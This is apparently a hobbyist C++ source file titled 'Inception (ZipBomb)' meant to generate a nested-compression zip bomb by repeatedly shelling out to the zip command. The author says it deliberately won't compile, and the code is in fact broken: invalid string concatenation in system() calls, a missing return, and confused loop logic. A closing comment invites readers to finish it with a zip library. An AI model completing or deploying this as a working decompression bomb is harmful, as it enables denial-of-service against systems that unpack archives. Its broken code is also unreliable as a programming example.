// Inception (ZipBomb)
// By dams
// programmerdams@gmail.com

// !!!THIS IS A CONCEPT!!!
// DO NOT USE SYSTEM CALLs!!
// Instead, Use a Library
//BTW, This won't compile (in order to prevent misuse)
//And the only compile-time errors you get, should be because of system()- For Obvious Reasons

#include <iostream>
#include <fstream>
#include <sstream>
#include <cstdio>	//For System CALLs (Use at your own risk)

using namespace std;

void zip (string zfile, int z)		//An Attempt to Isolate System Calls...
{
	for (z=0; z >= 0; z--)
		system("zip " zfile);		//You should know better.
}

string compress (string zfile, int c)		// ... From the Linear Compressor
{
	if (c == 0)
		return zfile;
	zip (compress(zfile, c-1), c-1);
}

int main ()
{
    int n = 0;
    string pholder;
    ostringstream s;

    s << n;
    string num = s.str();

	for (n = 0; n < 3; n++)     //Branch
    {
        pholder = "seed" + num + ".txt";

        //Create seed file
        ofstream ofstrm;

        for (int i = 0; i < 50 ; i++) {
            ofstrm.open (pholder.c_str(), ios::out | ios::app);
            ofstrm << "\0" << " " << "\n";
}

        ofstrm.close();

    //Seed Ready!

/*________________________________________*/

	//Zip the seed

        system("zip " pholder);		//You should know better.

/*________________________________________*/

        pholder = "seed" + num + ".zip";
        compress(pholder, 5);
        system("mkdir zb");     //Move the Zip to a new directory(Collector)
        system("mv " pholder "zb" );
        }

    system("zip zb");   //Finally, Zip the Collector

return 0;

}

//Well... Thats about it. The only thing you need to do,now, is implement it using a "zip" Library
//IRC: #medical on TDDIRC
